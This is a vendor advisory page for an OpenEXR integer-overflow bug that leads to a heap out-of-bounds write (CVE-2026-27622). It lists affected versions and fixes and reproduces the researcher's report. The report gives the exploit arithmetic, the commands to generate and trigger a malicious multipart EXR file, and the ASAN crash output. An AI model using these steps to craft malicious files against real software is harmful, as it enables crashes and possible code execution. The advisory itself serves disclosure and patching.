How severe is GHSA-cr4v-6jm6-4963?

No CVSS score has been assigned to GHSA-cr4v-6jm6-4963 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-cr4v-6jm6-4963?

GHSA-cr4v-6jm6-4963 affects the following packages: openexr (PyPI), openexr (PyPI), openexr (PyPI). Ecosystems affected: PyPI.

How do I fix GHSA-cr4v-6jm6-4963?

Update openexr to 3.2.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cr4v-6jm6-4963 is resolved across your whole dependency graph.

How do I detect GHSA-cr4v-6jm6-4963 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for openexr. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-cr4v-6jm6-4963 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-cr4v-6jm6-4963?

O3 pinpoints whether GHSA-cr4v-6jm6-4963 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-cr4v-6jm6-4963 actively exploited in the wild?

No public exploit code has been indexed for GHSA-cr4v-6jm6-4963 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-cr4v-6jm6-4963?

GHSA-cr4v-6jm6-4963 has an EPSS (Exploit Prediction Scoring System) score of 0.2%, placing it in the 6th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-cr4v-6jm6-4963?

GHSA-cr4v-6jm6-4963 is classified as Out-of-bounds Write (CWE-787). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-cr4v-6jm6-4963 published, and has it been updated?

GHSA-cr4v-6jm6-4963 was published on March 2, 2026 and was last updated on March 4, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

GHSA-cr4v-6jm6-4963

OpenEXR's CompositeDeepScanLine integer-overflow leads to heap OOB write

Also known asCVE-2026-27622

Published

Mar 2, 2026

Updated

Mar 4, 2026

Affected

3 pkgs

Patched

3 / 3

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.2%probability of exploitation in next 30 days

Lower Risk6th percentile+0.14%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

3 pkgs affected

🐍openexr🐍openexr🐍openexr

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Function: CompositeDeepScanLine::readPixels, reachable from high-level multipart deep read flows (MultiPartInputFile + DeepScanLineInputPart + CompositeDeepScanLine).

Vulnerable lines (src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp):

total_sizes[ptr] += counts[j][ptr]; (line ~511)
overall_sample_count += total_sizes[ptr]; (line ~514)
samples[channel].resize (overall_sample_count); (line ~535)

Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in generic_unpack_deep_pointers (src/lib/OpenEXRCore/unpack.c:1374) (DoS/Crash, memory corruption/RCE).

Attack scenario:

Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.
Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.
The overflow happens in composite sample accounting (unsigned int), while pointer progression for decode uses larger counters and reaches out-of-bounds.

Tested on: OpenEXR 4.0.0-dev (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0

Steps to reproduce

composite_deepscanline_poc_bundle.patch

PoC files used:

Writer/generator: poc/composite_deep_scanline_e2e_compressed_poc.cpp
Minimal high-level reader harness: poc/simple_exr_reader.cpp

The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select DEEPSCANLINE, add sources to CompositeDeepScanLine, bind a normal FrameBuffer, then call readPixels.

Build with ASAN/UBSAN:

cmake -S . -B build-asan \
  -DOPENEXR_BUILD_POC=ON \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'

cmake --build build-asan --target composite_writer simple_exr_reader -j

Generate malicious file (decode-path focused profile):

ASAN_OPTIONS=detect_leaks=0 timeout 180s \
  ./build-asan/poc/composite_writer \
  --profile low-ram \
  --file /tmp/composite_decode_focus.exr

Trigger:

ASAN_OPTIONS=detect_leaks=0 timeout 30s \
  ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr

ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.

Example runs

Writer (abbrev):

❯ ./build-asan/poc/composite_writer
exploit math:
  benign samples                 : 300
  malicious parts                : 86
  malicious samples per part     : 50000000
  true total samples             : 4300000300
  uint32 overflow reached        : yes
  wrapped uint32 total           : 5033004
  composite Z/A alloc from wrap  : 40264032 bytes (38.40 MiB)
  per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)
  min parts to overflow (current benign/samples): 86
writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr
writing donor malicious part (50000000 samples)
copying malicious part 1/86 from donor chunk
...
file size: 26112896 bytes (24.90 MiB)

Reader ASAN crash:

❯ ./build-asan/poc/simple_exr_reader
reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts
=================================================================
==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670
WRITE of size 4 at 0x7ed1a55d90b0 thread T0
    #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374
    #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664
    #2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816
    #3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const&, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568
    #4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576
    #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
    #6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0)
allocated by thread T0 here:
    #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
    #1 0x7ed1dbc29600 in std::__new_allocator<float>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151
    #2 0x7ed1dbc29600 in std::allocator_traits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482
    #3 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381
    #4 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378
    #5 0x7ed1dbc29600 in std::vector<float, std::allocator<float> >::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663
    #6 0x7ed1dbc00184 in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016
    #7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535
    #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
    #9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers
Shadow bytes around the buggy address:
  0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==175024==ABORTING

Root cause analysis

In CompositeDeepScanLine::readPixels:

Per-pixel totals are accumulated in vector<unsigned int> total_sizes.
For attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.
overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count).
Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer.

Allocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.

Impact

Heap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.

Affected Packages

3 total 3 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`openexr`	≥ 2.3.0&&< 3.2.6	3.2.6
🐍PyPI	`openexr`	≥ 3.3.0&&< 3.3.8	3.3.8
🐍PyPI	`openexr`	≥ 3.4.0&&< 3.4.6	3.4.6

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for openexr. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update openexr to 3.2.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cr4v-6jm6-4963 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-cr4v-6jm6-4963 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-cr4v-6jm6-4963. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Function: `CompositeDeepScanLine::readPixels`, reachable from high-level multipart deep read flows (`MultiPartInputFile` + `DeepScanLineInputPart` + `CompositeDeepScanLine`). Vulnerable lines (`src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp`): - `total_sizes[ptr] += counts[j][ptr];` (line ~511) - `overall_sample_count += total_sizes[ptr];` (line ~514) - `samples[channel].resize (overall_sample_count);` (line ~535) Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in `generic_unpack_deep_p

O3 Security · Impact-Aware SCA

Is GHSA-cr4v-6jm6-4963 in your dependencies?

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